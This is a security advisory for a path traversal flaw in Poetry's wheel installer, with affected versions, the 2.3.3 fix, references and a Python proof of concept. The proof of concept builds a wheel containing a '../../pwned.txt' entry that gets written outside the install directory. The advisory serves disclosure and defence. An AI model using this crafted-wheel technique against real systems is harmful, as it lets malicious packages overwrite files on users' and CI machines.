Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write
Summary
A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.
Impact
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.
Patches
Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.
Details
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:
src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59
The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607
No resolve() + is_relative_to() style guard is enforced before writing.
POC
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination
root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
d.mkdir(parents=True, exist_ok=True)
files = {
"evil/__init__.py": b"",
"../../pwned.txt": b"owned\n",
"evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
"evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()
with zipfile.ZipFile(wheel, "w") as z:
for k,v in files.items(): z.writestr(k,v)
dest = WheelDestination(
{"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
install(src, dest, {"INSTALLER": b"PoC"})
out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | poetry | >= 1.4.0, < 2.3.3 | 2.3.3 |
References
- https://github.com/python-poetry/poetry/releases/tag/2.3.3
- http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a
- https://github.com/python-poetry/poetry/pull/10792
- https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp
- https://nvd.nist.gov/vuln/detail/CVE-2026-34591
- https://github.com/python-poetry/poetry
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N- Weakness (CWE)
CWE-22- Platform
- Python (PyPI)
- Package
poetry- Disclosed
- 01.04.2026
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2260 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-2599-h6xx-hpxp - CC BY 4.0
Vulnerability history: poetry
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 5
- First → latest
- 03.2022 04.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 3
- Low 1
Disclosures per year
- 2022: 3
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 2
-
Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write this entry
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